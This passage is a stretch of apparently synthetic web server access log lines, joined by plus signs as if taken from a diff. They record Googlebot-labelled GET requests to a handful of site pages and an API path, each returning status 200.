Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:23 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:23 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:23 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:23 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:23 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:23 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:24 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:24 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:24 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:24 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:24 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:24 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:25 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:25 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:25 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:25 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:25 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:25 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:25 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:25 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:26 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:26 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:26 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:26 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:26 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:26 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:26 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:26 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:27 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:27 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:27 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:27 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:27 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:27 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:27 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:27 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:28 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:28 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:28 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:28 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:28 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:28 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:28 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:28 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:29 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:29 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:29 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:29 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:29 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:29 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:29 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:29 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:30 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:30 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:30 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:30 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:30 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:30 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:30 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:30 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:31 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:31 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:31 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:31 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:31 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:31 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:31 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:31 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:32 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:32 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:32 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:32 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:32 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:32 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:32 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:33 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:33 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:33 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:33 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:33 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:33 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:33 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:33 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:34 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:34 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:34 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:34 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:34 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:34 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:35 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:35 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:35 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:35 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:35 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:35 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:35 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:35 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:36 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:36 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:36 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:36 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:36 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:36 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:36 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:36 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:37 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:37 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:37 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:37 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:37 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:37 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:38 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:38 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:38 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:38 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:38 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:38 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:38 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:38 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:39 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:39 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:39 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:39 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:39 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:39 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:40 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:40 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:40 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:40 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:40 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:40 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:40 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:40 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:40 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:40 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:41 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:41 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:41 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:41 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:41 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:41 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:41 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:41 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:42 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:42 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:42 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:42 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:42 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:42 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:42 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:42 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:43 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:43 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:43 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:43 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:43 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:43 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:43 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:43 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:44 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:44 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:44 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:44 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:44 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:44 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:44 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:44 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:45 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:45 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:45 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:45 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:45 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:45 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:45 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:45 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:45 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:45 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:46 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:46 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:46 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:46 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:46 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:46 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:46 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:46 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:47 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:47 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:47 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:47 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:47 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:47 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:47 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:47 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:48 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:48 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:48 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:48 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:48 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:48 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:49 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:49 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:49 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:49 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:49 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:49 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:49 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:49 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:50 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:50 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:50 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:50 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:50 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:50 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:50 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:50 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:51 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:51 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:51 web-app[1234]: 66.249.66.1 - - [19/Aug/2025:10:04:51 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:51 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:51 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:52 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:52 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:52 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:52 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:52 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:52 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:52 web-app[1234]: 66.249.67.3 - - [19/Aug/2025:10:04:52 +0000] "GET /products/123 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:53 web-app[1234]: 66.249.66.3 - - [19/Aug/2025:10:04:53 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:53 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:53 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:53 web-app[1234]: 66.249.66.4 - - [19/Aug/2025:10:04:53 +0000] "GET /api/v1/data HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:54 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:54 +0000] "GET / HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:54 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:54 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:54 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:54 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:55 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:55 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:55 web-app[1234]: 66.249.67.1 - - [19/Aug/2025:10:04:55 +0000] "GET /blog/article-45 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:55 web-app[1234]: 66.249.67.2 - - [19/Aug/2025:10:04:55 +0000] "GET /contact HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:55 web-app[1234]: 66.249.67.4 - - [19/Aug/2025:10:04:55 +0000] "GET /about HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 19 10:04:56 web-app[1234]: 66.249.66.2 - - [19/Aug/2025:10:04:56 +0000] 